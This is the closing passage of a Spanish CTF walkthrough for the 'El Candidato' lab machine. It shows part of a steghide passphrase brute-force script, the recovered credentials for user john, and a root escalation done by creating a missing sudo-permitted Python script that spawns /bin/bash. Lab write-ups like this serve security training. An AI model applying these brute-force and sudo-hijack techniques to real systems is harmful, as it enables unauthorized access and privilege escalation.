    # Si steghide no genera errores, significa que la contraseña es correcta
    if [[ $? -eq 0 ]]; then
        echo "¡Contraseña encontrada!: $PASSWORD"
        echo "El archivo oculto ha sido extraído con éxito"
        exit 0
    fi
done < "$WORDLIST"

echo "Fuerza bruta completada. No se encontró la contraseña en $WORDLIST."
exit 1

Ejecutamos el script.

./steghide_bruteforce.sh

Y luego de unos segundos, logramos obtener la contraseña y extraer el archivo oculto.

De esta forma, obtenemos las credenciales de john.

Usuario: john

Contraseña: TI!Powerful2024

Volvemos a conectarnos como john al sistema y enumeramos si tenemos la capacidad de ejecutar comandos con sudo. Efectivamente, podemos ejecutar el siguiente comando con sudo.

Vemos que podemos ejecutar un script de python que se encuentra en /home/john/tools/backup.py. Pero si nos fijamos dentro del directorio tools no existe ningun archivo backup.py por lo que creamos este.

import os
os.system('/bin/bash')

Ejecutamos el script

john@gyhabogados:~$ sudo /usr/bin/python3 /home/john/tools/backup.py
root@gyhabogados:/home/john# whoami
root

De esta manera, logramos escalar privilegios.

Post Explotación

Por ultimo, leemos el flag de root el cual se encuentra en notes.txt.

De esta forma, llegamos al final de la máquina El Candidato.

Como siempre, si te gustó este CTF, ¡cuentaselos a otros!.

Gracias por tu lectura!

Happy Hacking!

Si aun no eres parte de nuestra comunidad, te dejo los enlaces a la web y a el servidor de .

🟡
The Hackers Labs
Discord
The Hackers Labs
El candidato